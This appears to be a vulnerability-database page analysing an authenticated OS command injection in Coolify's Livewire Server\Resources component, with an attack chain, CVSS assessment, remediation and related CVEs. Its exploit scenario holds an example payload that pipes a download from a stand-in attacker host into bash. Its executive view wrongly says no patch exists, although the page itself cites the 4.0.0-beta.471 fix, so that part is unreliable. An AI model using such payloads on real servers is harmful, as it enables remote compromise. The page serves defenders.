Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as Coolify team member
-
DeliveryInvoke Livewire startUnmanaged method
-
ExploitInject shell metacharacters in container ID
-
ExecutionCommand interpolated into SSH shell command
-
PersistArbitrary OS commands run on managed server
-
ImpactFull compromise and lateral movement
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Coolify team account (CVSS PR:L) and access to the Livewire Server\Resources component's startUnmanaged, stopUnmanaged, or restartUnmanaged methods - the attacker supplies a malicious container ID parameter containing shell metacharacters, which Coolify interpolates unescaped into an SSH-executed shell command. The exact prerequisite is: any user who is a member of a team and can reach the Coolify UI's resource/server management endpoints. There must also be at least one managed server for the command to be dispatched to. Limiting factors: this is NOT anonymous/unauthenticated (a team account is mandatory), no admin role is required (any team member suffices), and no user interaction from a victim is needed. In a single-operator self-hosted install the only team members are the trusted admins, which sharply narrows realistic risk; in multi-tenant or organization-wide Coolify deployments the low privilege requirement makes it a practical insider-to-RCE escalation. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) indicates network-reachable, low-complexity exploitation requiring only low privileges (PR:L) and no user interaction, with full compromise (C:H/I:H/A:H) of the affected system. The PR:L is meaningful: the attacker must already be an authenticated member of a Coolify team, which limits the population to insiders or attackers who have obtained/created a team account - this is not an anonymous internet-wide RCE. However, once that low bar is met, exploitation is essentially guaranteed and yields arbitrary OS command execution across every server Coolify manages, so the real-world impact is severe (lateral movement and root-level control of downstream hosts via Coolify's privileged SSH keys). No EPSS score was supplied in the input, and the CVE is not listed in CISA KEV, with no POC referenced - so there is no evidence of active or automated exploitation yet. Net assessment: a genuine high priority for anyone running multi-tenant or shared Coolify instances (privilege escalation from limited team member to server-wide RCE), and lower urgency for single-admin self-hosted deployments where the only 'team members' are already trusted. Missing signal to note: EPSS and POC status are unknown from the provided data. |
| Exploit ScenarioDerived | A low-privileged member of a Coolify team opens the browser dev tools (or a crafted request) and invokes the Livewire startUnmanaged method with a container ID payload such as 'x; curl attacker.sh | bash'. Coolify concatenates this into a shell command and executes it over SSH on the selected managed server, running the attacker's commands with Coolify's SSH privileges. No public exploit identified at time of analysis, but the network vector and low attack complexity (AC:L) make weaponization trivial for any authenticated user. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 07, 2026
OS command injection in Coolify's self-hosted server-management platform (all versions prior to 4.0.0-beta.471) lets any authenticated team member execute arbitrary shell commands on any managed remote server. The flaw lives in the Livewire Server\Resources component, whose public startUnmanaged/stopUnmanaged/restartUnmanaged methods take a browser-supplied container ID and interpolate it unescaped into SSH-executed shell commands. No public exploit identified at time of analysis and it is not in CISA KEV, but the trivially low complexity (CVSS 8.8) makes exploitation straightforward for anyone with a team account.
RemediationAI
Vendor-released patch: upgrade Coolify to 4.0.0-beta.471 or later, which adds sanitization/escaping of the container ID parameter in the Server\Resources Livewire component (see PR 9172 and commit 944a038 referenced in advisory GHSA-rh5x-qx77-fq9v). This is the primary and only complete fix. If you cannot upgrade immediately, reduce exposure by tightly restricting team membership - remove or downgrade any non-essential team members and treat every team account as capable of full server RCE, since the vulnerability escalates any team member to arbitrary command execution. Additionally, place the Coolify web UI behind a VPN, IP allowlist, or reverse-proxy authentication so the Livewire endpoints are not broadly reachable, and monitor SSH command activity on managed servers for anomalous docker/container invocations; note the trade-off that network restrictions do not stop a legitimate-but-malicious team member, so upgrading remains essential. Advisory and patch: https://github.com/coollabsio/coolify/security/advisories/GHSA-rh5x-qx77-fq9v and https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Coolify is an open-source, self-hostable PaaS (a Heroku/Netlify/Vercel alternative) that provisions and controls applications, databases, and Docker containers across fleets of remote servers over SSH. It is built on the Laravel Livewire framework, where server-side component methods can be invoked directly from the browser. The affected Server\Resources component declares startUnmanaged, stopUnmanaged, and restartUnmanaged as public (browser-callable) methods that receive a container ID argument. Because Livewire exposes public methods as remote endpoints, an attacker can call them with an arbitrary value. That value is concatenated directly into a shell command string (e.g. a docker start/stop/restart invocation) that Coolify then runs on the target managed host through its SSH connection. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) issue: the absence of shell-escaping or input validation allows shell metacharacters (;, |, $(), backticks) to break out of the intended command. The affected package is coollabsio/coolify (CPE cpe:2.3:a:coollabsio:coolify).
Know when Coolify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable Livewire endpoint (AV:N/AC:L), requires an authenticated team account (PR:L), no user interaction, and unsanitized shell injection yields full OS command execution (C:H/I:H/A:H).
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the Livewire component Server\Resources exposes public methods (startUnmanaged, stopUnmanaged, restartUnmanaged) that accept a container ID parameter directly from the browser without any sanitization or escaping. This parameter is interpolated directly into shell commands executed via SSH on managed servers, enabling any authenticated team member to execute arbitrary OS commands on remote servers. This issue is fixed in version 4.0.0-beta.471.
Executive ViewAI
Coolify, a self-hosted server-management platform, contains an OS command injection vulnerability allowing any authenticated team member to execute arbitrary shell commands on all managed remote servers. This internal threat grants complete infrastructure compromise for any employee with legitimate platform access. No vendor-released patch identified at time of analysis, leaving organizations dependent on access controls and network segmentation to prevent catastrophic system compromise.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Strictly limit team account creation to authorized operations personnel only with documented approval; (2) Implement network segmentation restricting Coolify to isolated subnet with no direct internet access; (3) Deploy egress filtering to permit SSH only to explicitly approved target servers and ports; (4) Enable detailed audit logging of all commands executed through Coolify with real-time alerting on shell metacharacters; (5) Monitor access logs for suspicious patterns and conduct quarterly access reviews; (6) Consider implementing SSH key restrictions to read-only scope or temporary operational workarounds for non-critical infrastructure pending patch availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in Coolify Server Management Platform Multiple Flaws
View all 16Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,
Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo
Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d
Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute
Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.
Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic
Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via
Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo
Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi
Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg
Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss
Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica
EUVD-2026-41983
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB